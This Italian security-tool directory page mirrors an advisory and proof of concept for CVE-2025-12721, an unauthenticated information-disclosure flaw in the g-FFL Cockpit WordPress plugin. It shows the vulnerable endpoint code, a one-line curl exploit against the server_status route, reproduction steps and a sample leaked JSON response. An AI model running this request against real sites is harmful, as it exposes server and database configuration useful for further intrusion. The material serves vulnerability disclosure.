Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-12721 — g-FFL Cockpit <= 1.7.1 - Mancata autorizzazione che porta a esposizione di informazioni senza autenticazione | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-12721
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebPenetration TestingConfigurazione Errata
GitHubd0n601/cve-2025-12721

CVE-2025-12721

g-FFL Cockpit <= 1.7.1 - Mancata autorizzazione che porta a esposizione di informazioni senza autenticazione

Vedi Repository
9 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

g-FFL Cockpit <= 1.7.1 - Esposizione di informazioni non autenticata

Il plugin g-FFL Cockpit non implementa controlli di autorizzazione adeguati sull'endpoint REST API server_status, consentendo a utenti non autenticati di accedere a informazioni sensibili sulla configurazione del server, impostazioni PHP, dettagli del database, metadati dell'installazione di WordPress e informazioni sui plugin attivi attraverso un endpoint pubblico esposto.

TL;DR Exploit

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X GET $TARGET_SITE/wp-json/fflcockpit/v1/server_status | jq

Dettagli

La funzione handle_server_status() in includes/class-sync-endpoint.php recupera ed espone informazioni complete sul server senza richiedere alcuna autenticazione o controllo delle capacità. L'endpoint è registrato con permission_callback => '__return_true', rendendolo completamente accessibile a qualsiasi visitatore non autenticato.

Situato in class-sync-endpoint.php:

root@kitploit:~
88:        register_rest_route('fflcockpit/v1', '/server_status', [
89:            'methods' => 'GET',
90:            'callback' => [__CLASS__, 'handle_server_status'],
91:            'permission_callback' => '__return_true', // Public endpoint
92:        ]);

La funzione handle_server_status() espone:

  • Informazioni sul server: versione PHP, sistema operativo, software del server, architettura, carico del server
  • Utilizzo memoria: utilizzo memoria corrente, memoria di picco, limiti di memoria, percentuali di utilizzo
  • Configurazione PHP: limite memoria, limiti tempo di esecuzione, limiti upload, max input vars, stato OPcache
  • Estensioni PHP: stato delle estensioni caricate (curl, gd, imagick, mbstring, mysql, zip, xml, json, openssl, fileinfo)
  • Informazioni database: versione MySQL, charset/collation database, variabili di configurazione MySQL, dimensione database, conteggio query
  • Spazio su disco: spazio libero e totale su disco, percentuali di utilizzo
  • Informazioni WordPress: versione WordPress, stato multisite, stato modalità debug, elenco plugin attivi con versioni e autori
  • Informazioni WooCommerce: stato installazione, versione, impostazioni API, conteggio prodotti/ordini, configurazione gestore sessioni
  • Indicatori di prestazione: soglie di memoria, controlli tempo di esecuzione, stato OPcache, avvisi spazio su disco, analisi configurazione MySQL

Frammento vulnerabile da class-sync-endpoint.php:

root@kitploit:~
1443:                'php_version' => phpversion(),
1444:                'operating_system' => defined('PHP_OS') ? PHP_OS : 'Unknown',
1445:            ];
1446:            
1447:            if (isset($_SERVER['SERVER_SOFTWARE'])) {
1448:                $server_info['server_software'] = $_SERVER['SERVER_SOFTWARE'];
1449:            }

Ulteriore divulgazione in class-sync-endpoint.php:

root@kitploit:~
1645:                $active_plugins_list = get_option('active_plugins', []);
1646:                $wp_info['active_plugins_count'] = count($active_plugins_list);
1647:                
1648:                if (!function_exists('get_plugins')) {
1649:                    require_once ABSPATH . 'wp-admin/includes/plugin.php';
1650:                }
1651:                $all_plugins = get_plugins();
1652:                
1653:                $plugin_details = [];
1654:                foreach ($active_plugins_list as $plugin_path) {
1655:                    if (isset($all_plugins[$plugin_path])) {
1656:                        $plugin_info = $all_plugins[$plugin_path];
1657:                        $plugin_details[] = [
1658:                            'name' => $plugin_info['Name'] ?? 'Unknown',
1659:                            'version' => $plugin_info['Version'] ?? 'Unknown',
1660:                            'author' => isset($plugin_info['Author']) ? strip_tags($plugin_info['Author']) : 'Unknown',
1661:                            'description' => isset($plugin_info['Description']) ? wp_trim_words(strip_tags($plugin_info['Description']), 20) : '',
1662:                            'path' => $plugin_path,
1663:                            'network' => $plugin_info['Network'] ?? false,
1664:                        ];
1665:                    }
1666:                }

Riproduzione manuale

Nota: g-FFL Cockpit richiede WooCommerce

  1. Naviga al sito WordPress target con il plugin g-FFL Cockpit installato.

  2. Esegui il seguente comando curl per recuperare le informazioni sullo stato del server:

root@kitploit:~
curl -X GET http://example.com/wp-json/fflcockpit/v1/server_status
  1. Riceverai una risposta JSON contenente la configurazione completa del server, le impostazioni PHP, le informazioni del database, i dettagli di WordPress e WooCommerce e un elenco completo dei plugin attivi:
root@kitploit:~
{
  "plugin": {
    "name": "FFL Cockpit",
    "version": "1.7.1"
  },
  "timestamp": "2024-01-15T12:34:56Z",
  "server": {
    "php_version": "8.1.27",
    "operating_system": "Linux",
    "server_software": "Apache/2.4.57",
    "architecture": "x86_64",
    "server_load": [0.52, 0.48, 0.45]
  },
  "memory_usage": {
    "current": "45.23 MB",
    "current_bytes": 47415296,
    "peak": "52.18 MB",
    "peak_bytes": 54722560,
    "limit": "256 MB",
    "limit_bytes": 268435456,
    "usage_percentage": 17.67
  },
  "php_config": {
    "memory_limit": "256M",
    "max_execution_time": "300",
    "max_input_vars": "3000",
    "post_max_size": "64M",
    "upload_max_filesize": "64M",
    "max_file_uploads": "20",
    "opcache_enabled": true,
    "opcache_memory_consumption": 67108864,
    "opcache_hit_rate": 95.23
  },
  "php_extensions": {
    "curl": true,
    "gd": true,
    "imagick": true,
    "mbstring": true,
    "mysql": true,
    "zip": true,
    "xml": true,
    "json": true,
    "openssl": true,
    "fileinfo": true
  },
  "database": {
    "mysql_version": "8.0.35",
    "charset": "utf8mb4",
    "collate": "utf8mb4_unicode_ci",
    "queries_this_request": 42,
    "mysql_config": {
      "max_connections": "151",
      "max_allowed_packet": "67108864",
      "innodb_buffer_pool_size": "134217728"
    },
    "database_size": 125.43
  },
  "disk_space": {
    "free": "15.23 GB",
    "free_bytes": 16357785600,
    "total": "50.00 GB",
    "total_bytes": 53687091200,
    "used_percentage": 69.51
  },
  "wordpress": {
    "version": "6.4.2",
    "multisite": false,
    "debug_enabled": false,
    "cache_enabled": false,
    "active_plugins_count": 12,
    "active_plugins": [
      {
        "name": "g-FFL Cockpit",
        "version": "1.7.1",
        "author": "Garidium LLC",
        "description": "g-FFL Cockpit",
        "path": "g-ffl-cockpit/g-ffl-cockpit.php",
        "network": false
      }
    ]
  },
  "woocommerce": {
    "is_installed": true,
    "version": "8.5.2",
    "api_enabled": true,
    "product_count": 1250,
    "order_count": 342
  }
}
Scarica lo strumento